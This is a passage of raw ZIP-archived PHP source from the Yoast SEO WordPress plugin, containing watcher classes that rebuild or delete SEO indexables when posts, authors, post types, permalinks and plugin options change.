		if ( \get_option( 'tag_base' ) !== $this->options_helper->get( 'tag_base_url' ) ) {
			$this->reset_permalinks_term( null, null, 'tag_base' );
			$this->options_helper->set( 'tag_base_url', \get_option( 'tag_base' ) );
		}
		if ( \get_option( 'category_base' ) !== $this->options_helper->get( 'category_base_url' ) ) {
			$this->reset_permalinks_term( null, null, 'category_base' );
			$this->options_helper->set( 'category_base_url', \get_option( 'category_base' ) );
		}

		if ( $this->should_reset_permalinks() ) {
			$this->reset_permalinks();

			return true;
		}

		$this->reset_altered_custom_taxonomies();

		return true;
	}

	/**
	 * Checks whether the permalinks should be reset after `permalink_structure` has changed.
	 *
	 * @return bool Whether the permalinks should be reset.
	 */
	public function should_reset_permalinks() {
		return \get_option( 'permalink_structure' ) !== $this->options_helper->get( 'permalink_structure' );
	}

	/**
	 * Resets custom taxonomies if their slugs have changed.
	 *
	 * @return void
	 */
	public function reset_altered_custom_taxonomies() {
		$taxonomies            = $this->taxonomy_helper->get_custom_taxonomies();
		$custom_taxonomy_bases = $this->options_helper->get( 'custom_taxonomy_slugs', [] );
		$new_taxonomy_bases    = [];

		foreach ( $taxonomies as $taxonomy ) {
			$taxonomy_slug = $this->taxonomy_helper->get_taxonomy_slug( $taxonomy );

			$new_taxonomy_bases[ $taxonomy ] = $taxonomy_slug;

			if ( ! \array_key_exists( $taxonomy, $custom_taxonomy_bases ) ) {
				continue;
			}

			if ( $taxonomy_slug !== $custom_taxonomy_bases[ $taxonomy ] ) {
				$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
			}
		}

		$this->options_helper->set( 'custom_taxonomy_slugs', $new_taxonomy_bases );
	}

	/**
	 * Retrieves a list with the public post types.
	 *
	 * @return array The post types.
	 */
	protected function get_post_types() {
		/**
		 * Filter: Gives the possibility to filter out post types.
		 *
		 * @param array $post_types The post type names.
		 *
		 * @return array The post types.
		 */
		$post_types = \apply_filters( 'wpseo_post_types_reset_permalinks', $this->post_type->get_public_post_types() );

		return $post_types;
	}

	/**
	 * Retrieves the taxonomies that belongs to the public post types.
	 *
	 * @param array $post_types The post types to get taxonomies for.
	 *
	 * @return array The retrieved taxonomies.
	 */
	protected function get_taxonomies_for_post_types( $post_types ) {
		$taxonomies = [];
		foreach ( $post_types as $post_type ) {
			$taxonomies[] = \get_object_taxonomies( $post_type, 'names' );
		}

		$taxonomies = \array_merge( [], ...$taxonomies );
		$taxonomies = \array_unique( $taxonomies );

		return $taxonomies;
	}

	/**
	 * Schedules the WP-Cron job to check the permalink_structure status.
	 *
	 * @return void
	 */
	protected function schedule_cron() {
		if ( \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
			return;
		}

		\wp_schedule_event( \time(), 'daily', 'wpseo_permalink_structure_check' );
	}

	/**
	 * Unschedules the WP-Cron job to check the permalink_structure status.
	 *
	 * @return void
	 */
	public function unschedule_cron() {
		if ( ! \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
			return;
		}

		\wp_clear_scheduled_hook( 'wpseo_permalink_structure_check' );
	}
}
PK       ! Ov'  '  #  watchers/indexable-post-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Exception;
use WP_Post;
use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Builders\Indexable_Link_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Loggers\Logger;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use YoastSEO_Vendor\Psr\Log\LogLevel;

/**
 * WordPress Post watcher.
 *
 * Fills the Indexable according to Post data.
 */
class Indexable_Post_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The indexable hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	private $hierarchy_repository;

	/**
	 * The link builder.
	 *
	 * @var Indexable_Link_Builder
	 */
	protected $link_builder;

	/**
	 * The author archive helper.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	private $post;

	/**
	 * Holds the logger.
	 *
	 * @var Logger
	 */
	protected $logger;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Watcher constructor.
	 *
	 * @param Indexable_Repository           $repository           The repository to use.
	 * @param Indexable_Builder              $builder              The post builder to use.
	 * @param Indexable_Hierarchy_Repository $hierarchy_repository The hierarchy repository to use.
	 * @param Indexable_Link_Builder         $link_builder         The link builder.
	 * @param Author_Archive_Helper          $author_archive       The author archive helper.
	 * @param Indexable_Helper               $indexable_helper     The indexable helper.
	 * @param Post_Helper                    $post                 The post helper.
	 * @param Logger                         $logger               The logger.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Builder $builder,
		Indexable_Hierarchy_Repository $hierarchy_repository,
		Indexable_Link_Builder $link_builder,
		Author_Archive_Helper $author_archive,
		Indexable_Helper $indexable_helper,
		Post_Helper $post,
		Logger $logger
	) {
		$this->repository           = $repository;
		$this->builder              = $builder;
		$this->hierarchy_repository = $hierarchy_repository;
		$this->link_builder         = $link_builder;
		$this->author_archive       = $author_archive;
		$this->indexable_helper     = $indexable_helper;
		$this->post                 = $post;
		$this->logger               = $logger;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp_insert_post', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'delete_post', [ $this, 'delete_indexable' ] );

		\add_action( 'edit_attachment', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'add_attachment', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'delete_attachment', [ $this, 'delete_indexable' ] );
	}

	/**
	 * Deletes the meta when a post is deleted.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	public function delete_indexable( $post_id ) {
		$indexable = $this->repository->find_by_id_and_type( $post_id, 'post', false );

		// Only interested in post indexables.
		if ( ! $indexable || $indexable->object_type !== 'post' ) {
			return;
		}

		$this->update_relations( $this->post->get_post( $post_id ) );

		$this->update_has_public_posts( $indexable );

		$this->hierarchy_repository->clear_ancestors( $indexable->id );
		$this->link_builder->delete( $indexable );
		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Updates the relations when the post indexable is built.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param WP_Post   $post      The post.
	 *
	 * @return void
	 */
	public function updated_indexable( $indexable, $post ) {
		// Only interested in post indexables.
		if ( $indexable->object_type !== 'post' ) {
			return;
		}

		if ( \is_a( $post, Indexable::class ) ) {
			\_deprecated_argument( __FUNCTION__, '17.7', 'The $old_indexable argument has been deprecated.' );
			$post = $this->post->get_post( $indexable->object_id );
		}

		$this->update_relations( $post );
	}

	/**
	 * Saves post meta.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	public function build_indexable( $post_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( $this->is_multisite_and_switched() ) {
			return;
		}

		try {
			$indexable = $this->repository->find_by_id_and_type( $post_id, 'post', false );
			$indexable = $this->builder->build_for_id_and_type( $post_id, 'post', $indexable );

			$post = $this->post->get_post( $post_id );

			/*
			 * Update whether an author has public posts.
			 * For example this post could be set to Draft or Private,
			 * which can influence if its author has any public posts at all.
			 */
			if ( $indexable ) {
				$this->update_has_public_posts( $indexable );
			}

			// Build links for this post.
			if ( $post && $indexable && \in_array( $post->post_status, $this->post->get_public_post_statuses(), true ) ) {
				$this->link_builder->build( $indexable, $post->post_content );
				// Save indexable to persist the updated link count.
				$this->indexable_helper->save_indexable( $indexable );
				$this->updated_indexable( $indexable, $post );
			}
		} catch ( Exception $exception ) {
			$this->logger->log( LogLevel::ERROR, $exception->getMessage() );
		}
	}

	/**
	 * Updates the has_public_posts when the post indexable is built.
	 *
	 * @param Indexable $indexable The indexable to check.
	 *
	 * @return void
	 */
	protected function update_has_public_posts( $indexable ) {
		// Update the author indexable's has public posts value.
		try {
			$author_indexable = $this->repository->find_by_id_and_type( $indexable->author_id, 'user' );
			if ( $author_indexable ) {
				$author_indexable->has_public_posts = $this->author_archive->author_has_public_posts( $author_indexable->object_id );
				$this->indexable_helper->save_indexable( $author_indexable );

				if ( $this->indexable_helper->should_index_indexable( $author_indexable ) ) {
					$this->reschedule_cleanup_if_author_has_no_posts( $author_indexable );
				}
			}
		} catch ( Exception $exception ) {
			$this->logger->log( LogLevel::ERROR, $exception->getMessage() );
		}

		// Update possible attachment's has public posts value.
		$this->post->update_has_public_posts_on_attachments( $indexable->object_id, $indexable->is_public );
	}

	/**
	 * Reschedule indexable cleanup if the author does not have any public posts.
	 * This should remove the author from the indexable table, since we do not
	 * want to store authors without public facing posts in the table.
	 *
	 * @param Indexable $author_indexable The author indexable.
	 *
	 * @return void
	 */
	protected function reschedule_cleanup_if_author_has_no_posts( $author_indexable ) {
		if ( $author_indexable->has_public_posts === false ) {
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}
		}
	}

	/**
	 * Updates the relations on post save or post status change.
	 *
	 * @param WP_Post $post The post that has been updated.
	 *
	 * @return void
	 */
	protected function update_relations( $post ) {
		$related_indexables = $this->get_related_indexables( $post );

		foreach ( $related_indexables as $indexable ) {
			// Ignore everything that is not an actual indexable.
			if ( \is_a( $indexable, Indexable::class ) ) {
				$indexable->object_last_modified = \max( $indexable->object_last_modified, $post->post_modified_gmt );
				$this->indexable_helper->save_indexable( $indexable );
			}
		}
	}

	/**
	 * Retrieves the related indexables for given post.
	 *
	 * @param WP_Post $post The post to get the indexables for.
	 *
	 * @return Indexable[] The indexables.
	 */
	protected function get_related_indexables( $post ) {
		/**
		 * The related indexables.
		 *
		 * @var Indexable[] $related_indexables .
		 */
		$related_indexables   = [];
		$related_indexables[] = $this->repository->find_by_id_and_type( $post->post_author, 'user', false );
		$related_indexables[] = $this->repository->find_for_post_type_archive( $post->post_type, false );
		$related_indexables[] = $this->repository->find_for_home_page( false );

		$taxonomies = \get_post_taxonomies( $post->ID );
		$taxonomies = \array_filter( $taxonomies, 'is_taxonomy_viewable' );
		$term_ids   = [];
		foreach ( $taxonomies as $taxonomy ) {
			$terms = \get_the_terms( $post->ID, $taxonomy );

			if ( empty( $terms ) || \is_wp_error( $terms ) ) {
				continue;
			}

			$term_ids = \array_merge( $term_ids, \wp_list_pluck( $terms, 'term_id' ) );
		}
		$related_indexables = \array_merge(
			$related_indexables,
			$this->repository->find_by_multiple_ids_and_type( $term_ids, 'term', false )
		);

		return \array_filter( $related_indexables );
	}

	/**
	 * Tests if the site is multisite and switched.
	 *
	 * @return bool True when the site is multisite and switched
	 */
	protected function is_multisite_and_switched() {
		return \is_multisite() && \ms_is_switched();
	}
}
PK       ! a,Sa  a  !  watchers/option-wpseo-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Watcher for the wpseo option.
 *
 * Represents the option wpseo watcher.
 */
class Option_Wpseo_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo', [ $this, 'check_semrush_option_disabled' ], 10, 2 );
		\add_action( 'update_option_wpseo', [ $this, 'check_wincher_option_disabled' ], 10, 2 );
		\add_action( 'update_option_wpseo', [ $this, 'check_toggle_usage_tracking' ], 10, 2 );
	}

	/**
	 * Checks if the SEMrush integration is disabled; if so, deletes the tokens.
	 *
	 * We delete the tokens if the SEMrush integration is disabled, no matter if
	 * the value has actually changed or not.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the SEMrush tokens have been deleted or not.
	 */
	public function check_semrush_option_disabled( $old_value, $new_value ) {
		return $this->check_token_option_disabled( 'semrush_integration_active', 'semrush_tokens', $new_value );
	}

	/**
	 * Checks if the Wincher integration is disabled; if so, deletes the tokens
	 * and website id.
	 *
	 * We delete them if the Wincher integration is disabled, no matter if the
	 * value has actually changed or not.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the Wincher tokens have been deleted or not.
	 */
	public function check_wincher_option_disabled( $old_value, $new_value ) {
		$disabled = $this->check_token_option_disabled( 'wincher_integration_active', 'wincher_tokens', $new_value );
		if ( $disabled ) {
			\YoastSEO()->helpers->options->set( 'wincher_website_id', '' );
		}

		return $disabled;
	}

	/**
	 * Checks if the WordProof integration is disabled; if so, deletes the tokens
	 *
	 * We delete them if the WordProof integration is disabled, no matter if the
	 * value has actually changed or not.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the WordProof tokens have been deleted or not.
	 */
	public function check_wordproof_option_disabled( $old_value, $new_value ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return true;
	}

	/**
	 * Checks if the usage tracking feature is toggled; if so, set an option to stop us from messing with it.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the option is set.
	 */
	public function check_toggle_usage_tracking( $old_value, $new_value ) {
		$option_name = 'tracking';

		if ( \array_key_exists( $option_name, $old_value ) && \array_key_exists( $option_name, $new_value ) && $old_value[ $option_name ] !== $new_value[ $option_name ] && $old_value['toggled_tracking'] === false ) {
			\YoastSEO()->helpers->options->set( 'toggled_tracking', true );

			return true;
		}

		return false;
	}

	/**
	 * Checks if the passed integration is disabled; if so, deletes the tokens.
	 *
	 * We delete the tokens if the integration is disabled, no matter if
	 * the value has actually changed or not.
	 *
	 * @param string $integration_option The intergration option name.
	 * @param string $target_option      The target option to remove the tokens from.
	 * @param array  $new_value          The new value of the option.
	 *
	 * @return bool Whether the tokens have been deleted or not.
	 */
	protected function check_token_option_disabled( $integration_option, $target_option, $new_value ) {
		if ( \array_key_exists( $integration_option, $new_value ) && $new_value[ $integration_option ] === false ) {
			\YoastSEO()->helpers->options->set( $target_option, [] );

			return true;
		}

		return false;
	}
}
PK       ! 
    /  watchers/indexable-post-type-change-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Post type change watcher.
 */
class Indexable_Post_Type_Change_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the Post_Type_Helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Type_Change_Watcher constructor.
	 *
	 * @param Options_Helper            $options             The options helper.
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Post_Type_Helper          $post_type_helper    The post_typehelper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Options_Helper $options,
		Indexing_Helper $indexing_helper,
		Post_Type_Helper $post_type_helper,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->options             = $options;
		$this->indexing_helper     = $indexing_helper;
		$this->post_type_helper    = $post_type_helper;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'check_post_types_public_availability' ] );
	}

	/**
	 * Checks if one or more post types change visibility.
	 *
	 * @return void
	 */
	public function check_post_types_public_availability() {

		// We have to make sure this is just a plain http request, no ajax/REST.
		if ( \wp_is_json_request() ) {
			return;
		}

		$public_post_types = $this->post_type_helper->get_indexable_post_types();

		$last_known_public_post_types = $this->options->get( 'last_known_public_post_types', [] );

		// Initializing the option on the first run.
		if ( empty( $last_known_public_post_types ) ) {
			$this->options->set( 'last_known_public_post_types', $public_post_types );
			return;
		}

		// We look for new public post types.
		$newly_made_public_post_types = \array_diff( $public_post_types, $last_known_public_post_types );
		// We look for post types that from public have been made private.
		$newly_made_non_public_post_types = \array_diff( $last_known_public_post_types, $public_post_types );

		// Nothing to be done if no changes has been made to post types.
		if ( empty( $newly_made_public_post_types ) && ( empty( $newly_made_non_public_post_types ) ) ) {
			return;
		}

		// Update the list of last known public post types in the database.
		$this->options->set( 'last_known_public_post_types', $public_post_types );

		// There are new post types that have been made public.
		if ( $newly_made_public_post_types ) {

			// Force a notification requesting to start the SEO data optimization.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			$this->indexing_helper->set_reason( Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC );

			\do_action( 'new_public_post_type_notifications', $newly_made_public_post_types );
		}

		// There are post types that have been made private.
		if ( $newly_made_non_public_post_types && $this->indexable_helper->should_index_indexables() ) {
			// Schedule a cron job to remove all the posts whose post type has been made private.
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}

			\do_action( 'clean_new_public_post_type_notifications', $newly_made_non_public_post_types );
		}
	}
}
PK       !     0  watchers/indexable-post-type-archive-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Post type archive watcher to save the meta data to an Indexable.
 *
 * Watches the home page options to save the meta information when updated.
 */
class Indexable_Post_Type_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Type_Archive_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The post builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether or not the option has been saved.
	 */
	public function check_option( $old_value, $new_value ) {
		$relevant_keys = [ 'title-ptarchive-', 'metadesc-ptarchive-', 'bctitle-ptarchive-', 'noindex-ptarchive-' ];

		// If this is the first time saving the option, thus when value is false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return false;
		}

		$keys               = \array_unique( \array_merge( \array_keys( $old_value ), \array_keys( $new_value ) ) );
		$post_types_rebuild = [];

		foreach ( $keys as $key ) {
			$post_type = false;
			// Check if it's a key relevant to post type archives.
			foreach ( $relevant_keys as $relevant_key ) {
				if ( \strpos( $key, $relevant_key ) === 0 ) {
					$post_type = \substr( $key, \strlen( $relevant_key ) );
					break;
				}
			}

			// If it's not a relevant key or both values aren't set they haven't changed.
			if ( $post_type === false || ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if (
				! \in_array( $post_type, $post_types_rebuild, true )
				&& (
					! isset( $old_value[ $key ] )
					|| ! isset( $new_value[ $key ] )
					|| $old_value[ $key ] !== $new_value[ $key ]
				)
			) {
				$this->build_indexable( $post_type );
				$post_types_rebuild[] = $post_type;
			}
		}

		return true;
	}

	/**
	 * Saves the post type archive.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return void
	 */
	public function build_indexable( $post_type ) {
		$indexable = $this->repository->find_for_post_type_archive( $post_type, false );
		$indexable = $this->builder->build_for_post_type_archive( $post_type, $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}
}
PK       !     %  watchers/indexable-author-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watches an Author to save the meta information to an Indexable when updated.
 */
class Indexable_Author_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Author_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'user_register', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'profile_update', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'deleted_user', [ $this, 'handle_user_delete' ], 10, 2 );
	}

	/**
	 * Deletes user meta.
	 *
	 * @param int $user_id User ID to delete the metadata of.
	 *
	 * @return void
	 */
	public function delete_indexable( $user_id ) {
		$indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false );

		if ( ! $indexable ) {
			return;
		}

		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Saves user meta.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return void
	 */
	public function build_indexable( $user_id ) {
		$indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false );
		$indexable = $this->builder->build_for_id_and_type( $user_id, 'user', $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}

	/**
	 * Handles the case in which an author is deleted.
	 *
	 * @param int      $user_id     User ID.
	 * @param int|null $new_user_id The ID of the user the old author's posts are reassigned to.
	 *
	 * @return void
	 */
	public function handle_user_delete( $user_id, $new_user_id = null ) {
		if ( $new_user_id !== null ) {
			$this->maybe_reassign_user_indexables( $user_id, $new_user_id );
		}

		$this->delete_indexable( $user_id );
	}

	/**
	 * Reassigns the indexables of a user to another user.
	 *
	 * @param int $user_id     The user ID.
	 * @param int $new_user_id The user ID to reassign the indexables to.
	 *
	 * @return void
	 */
	public function maybe_reassign_user_indexables( $user_id, $new_user_id ) {
		$this->repository->query()
			->set( 'author_id', $new_user_id )
			->where( 'author_id', $user_id )
			->update_many();
	}
}
PK       ! P2  2  0  watchers/primary-category-quick-edit-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_Post;
use WPSEO_Meta;
use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Class Primary_Category_Quick_Edit_Watcher
 */
class Primary_Category_Quick_Edit_Watcher implements Integration_Interface {

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	protected $primary_term_repository;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * The indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $indexable_hierarchy_builder;

	/**
	 * Primary_Category_Quick_Edit_Watcher constructor.
	 *
	 * @param Options_Helper              $options_helper              The options helper.
	 * @param Primary_Term_Repository     $primary_term_repository     The primary term repository.
	 * @param Post_Type_Helper            $post_type_helper            The post type helper.
	 * @param Indexable_Repository        $indexable_repository        The indexable repository.
	 * @param Indexable_Hierarchy_Builder $indexable_hierarchy_builder The indexable hierarchy repository.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Primary_Term_Repository $primary_term_repository,
		Post_Type_Helper $post_type_helper,
		Indexable_Repository $indexable_repository,
		Indexable_Hierarchy_Builder $indexable_hierarchy_builder
	) {
		$this->options_helper              = $options_helper;
		$this->primary_term_repository     = $primary_term_repository;
		$this->post_type_helper            = $post_type_helper;
		$this->indexable_repository        = $indexable_repository;
		$this->indexable_hierarchy_builder = $indexable_hierarchy_builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'set_object_terms', [ $this, 'validate_primary_category' ], 10, 4 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class, Doing_Post_Quick_Edit_Save_Conditional::class ];
	}

	/**
	 * Validates if the current primary category is still present. If not just remove the post meta for it.
	 *
	 * @param int    $object_id Object ID.
	 * @param array  $terms     Unused. An array of object terms.
	 * @param array  $tt_ids    An array of term taxonomy IDs.
	 * @param string $taxonomy  Taxonomy slug.
	 *
	 * @return void
	 */
	public function validate_primary_category( $object_id, $terms, $tt_ids, $taxonomy ) {
		$post = \get_post( $object_id );
		if ( $post === null ) {
			return;
		}

		$main_taxonomy = $this->options_helper->get( 'post_types-' . $post->post_type . '-maintax' );
		if ( ! $main_taxonomy || $main_taxonomy === '0' ) {
			return;
		}

